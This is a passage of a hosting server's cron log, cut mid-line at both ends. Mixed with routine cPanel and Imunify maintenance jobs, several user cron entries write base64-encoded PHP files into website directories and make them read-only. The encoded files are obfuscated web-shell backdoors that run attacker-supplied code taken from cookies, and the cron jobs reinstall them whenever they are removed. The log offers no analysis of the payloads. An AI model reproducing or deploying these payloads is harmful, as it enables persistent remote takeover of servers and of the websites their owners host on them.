X3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:55:01 medusa CROND[26601]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:55:01 medusa CROND[26607]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:55:01 medusa CROND[26614]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:55:01 medusa CROND[26615]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 00:55:01 medusa CROND[26603]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 00:55:01 medusa CROND[26621]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 00:55:01 medusa CROND[26593]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 00:56:01 medusa CROND[27238]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:56:01 medusa CROND[27315]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 00:56:01 medusa CROND[27316]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:56:01 medusa CROND[27318]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:56:01 medusa CROND[27317]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:56:01 medusa CROND[27320]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:56:01 medusa CROND[27321]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:56:01 medusa CROND[27322]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:56:01 medusa CROND[27319]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 00:56:01 medusa CROND[27323]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:56:01 medusa CROND[27324]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:56:01 medusa CROND[27325]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:56:01 medusa CROND[27330]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:56:01 medusa CROND[27332]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 00:57:01 medusa CROND[3418]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 00:57:01 medusa CROND[3420]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:57:01 medusa CROND[3423]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 00:57:01 medusa CROND[3424]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 00:57:01 medusa CROND[3425]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 00:57:01 medusa CROND[3426]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 00:57:01 medusa CROND[3429]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  2 00:57:01 medusa CROND[3431]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 00:57:01 medusa CROND[3438]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:57:01 medusa CROND[3447]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 00:57:01 medusa CROND[3439]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 00:57:01 medusa CROND[3451]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsb